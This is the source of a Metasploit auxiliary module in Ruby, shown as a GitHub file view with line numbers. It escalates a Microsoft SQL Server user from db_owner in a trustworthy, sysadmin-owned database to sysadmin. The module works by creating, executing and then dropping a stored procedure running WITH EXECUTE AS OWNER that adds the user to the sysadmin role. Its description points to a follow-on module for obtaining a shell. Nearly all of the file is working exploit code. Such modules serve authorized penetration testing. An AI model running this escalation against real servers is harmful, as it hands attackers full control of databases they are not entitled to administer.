-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmssql_escalate_dbowner.rb
executable file
·243 lines (208 loc) · 7.06 KB
/
mssql_escalate_dbowner.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
'Description' => %q{
This module can be used to escalate privileges to sysadmin if the user has
the db_owner role in a "trustworthy" database owned by a sysadmin user. Once
the user has the sysadmin role the msssql_payload module can be used to obtain
a shell on the system.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
def run_host(ip)
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...")
if mssql_login_datastore == false
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
else
print_good('Connected.')
end
# Query for sysadmin status
print_status("Checking if #{datastore['username']} has the sysadmin role...")
begin
mystatus = check_sysadmin
rescue
print_error('Sorry, the database connection failed.')
end
# Check if user has sysadmin role
if mystatus == 1
print_good("#{datastore['username']} has the sysadmin role, no escalation required.")
else
# Check for trusted databases owned by sysadmins
print_status("You're NOT a sysadmin, let's try to change that.")
print_status("Checking for trusted databases owned by sysadmins...")
trustdb_list = check_trustdbs
if trustdb_list == 0
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
else
# Display list of accessible databases to user
trustdb_list.each { |trustdb|
print_status(" - #{trustdb[0]}")
}
# Check if the user has the db_owner role in any of the databases
print_status('Checking if the user has the db_owner role in any of them...')
dbowner_status = check_db_owner(trustdb_list)
if dbowner_status == 0
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
else
# Attempt to escalate to sysadmin
print_status("Attempting to escalate in #{dbowner_status}...")
escalate_status = escalate_privs(dbowner_status)
if escalate_status == 1
# Check if escalation was successful
mystatus = check_sysadmin
if mystatus == 1
print_good("Congrats, #{datastore['username']} is now a sysadmin!.")
else
print_error("Fail buckets, something went wrong.")
end
else
print_error("Fail buckets, something went wrong.")
end
end
end
end
end
# ----------------------------------------------
# Method to check if user is already sysadmin
# ----------------------------------------------
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql, false) if mssql_login_datastore
disconnect
# Parse query results
parse_results = result[:rows]
mystatus = parse_results[0][0]
# Return status
return mystatus
end
# ----------------------------------------------
# Method to get trusted databases owned by sysadmins
# ----------------------------------------------
def check_trustdbs
# Setup query
sql = "SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
begin
# Run query
result = mssql_query(sql, false) if mssql_login_datastore
disconnect
# Parse query results
parse_results = result[:rows]
trustedb_count = parse_results.count
print_good("#{trustedb_count} affected database(s) were found:")
# Return on success
return parse_results
rescue
# Return on fail
return 0
end
end
# ----------------------------------------------
# Method to check if user has the db_owner role
# ----------------------------------------------
def check_db_owner(trustdb_list)
# Check if the user has the db_owner role is any databases
trustdb_list.each { |db|
begin
# Setup query
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
from [#{db[0]}].sys.database_role_members drm
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
# Run query
result = mssql_query(sql, false) if mssql_login_datastore
disconnect
# Parse query results
parse_results = result[:rows]
if parse_results.any?
print_good("- db_owner on #{db[0]} found!")
return db[0]
end
rescue
print_error("- No db_owner on #{db[0]}")
end
}
end
# ----------------------------------------------
# Method to escalate privileges
# ----------------------------------------------
def escalate_privs(dbowner_db)
# Create the evil stored procedure WITH EXECUTE AS OWNER
begin
# Setup query
evilsql_create = "use #{dbowner_db};
DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin''
end';
exec(@myevil);
select 1;"
# Run query
mssql_query(evilsql_create, false) if mssql_login_datastore
disconnect
rescue
# Return error
error = 'Failed to create stored procedure.'
return error
end
# Run the evil stored procedure
begin
# Setup query
evilsql_run = "use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);"
# Run query
mssql_query(evilsql_run, false) if mssql_login_datastore
disconnect
rescue
# Return error
error = 'Failed to run stored procedure.'
return error
end
# Remove evil procedure
begin
# Setup query
evilsql_remove = "use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);"
# Run query
mssql_query(evilsql_remove, false) if mssql_login_datastore
disconnect
# Return value
return 1
rescue
# Return error
error = 'Failed to run stored procedure.'
return error
end
end
end